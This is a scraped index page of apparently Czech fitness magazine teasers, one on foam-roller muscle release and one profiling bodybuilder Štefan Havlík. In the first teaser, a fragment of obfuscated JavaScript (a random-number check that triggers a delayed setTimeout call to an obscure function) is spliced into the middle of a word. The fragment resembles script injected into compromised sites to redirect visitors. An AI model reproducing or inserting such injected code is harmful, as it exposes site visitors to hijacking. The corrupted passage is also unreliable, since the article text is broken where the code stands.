• Tréninky

    DYNAMICKÉ UVOLNĚNÍ

    Zbavte se bolestivých ložisek ve svalech pomocí speciálních strečinkových technik.   Vzpomínáte na chvíli, kdy jste poprvé použili pěnový válec nebo masážní míček? Pravděpodobně jste po těchto pomůckách sáhli s cílem dosáhnout příjemného uvolnění a místo toho jste během chvíle skučeli bolestí v agonii topíce se v potu. Teď, když už víte, co manipulační techniky s těmito pomůckami obnáší, se můžete posunout zase o krok dál.   Obvyklý způsob použití Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardní způsob použití pěnového válce nebo masážního míčku spočívá v tom, že najdete citlivý bod ve svalech a něj pak vyvíjíte tlak, aby se uvolnil. Teoreticky totiž platí, že pokud snížíte okysličení…

  • Profily

    ŠTEFAN HAVLÍK – SYMBOL ESTETIKY A ELEGANCE

    Připravil: Stanislav Slimák, foto archiv Štefana Havlíka   Patřil k nejtalentovanějším kulturistům 90. let. Jméno Štefan Havlík je dnes synonymem symetrie téměř na úrovni dokonalosti. Když k tomu připočtete perfektně propracované volné sestavy, které vynikaly svou elegancí, není pochyb o tom, že před sebou máte jednoho z nejlepších slovenských kulturistů všech dob. Ve druhé polovině devadesátých let a v první dekádě nového milénia, kdy Štefan závodil, byla světová kulturistika na vrcholu svojí éry. Musel tedy čelit té nejtvrdší konkurenci. Navzdory tomu vyšel z většiny soubojů úspěšně. Mezi desítkami titulů, které získal během svojí dvacetileté kariéry, nechybí absolutní vítězství na Arnold Classic. V současné době žije Štefan v Miami Beach na Floridě (USA) a svou soutěžní kariéru považuje za…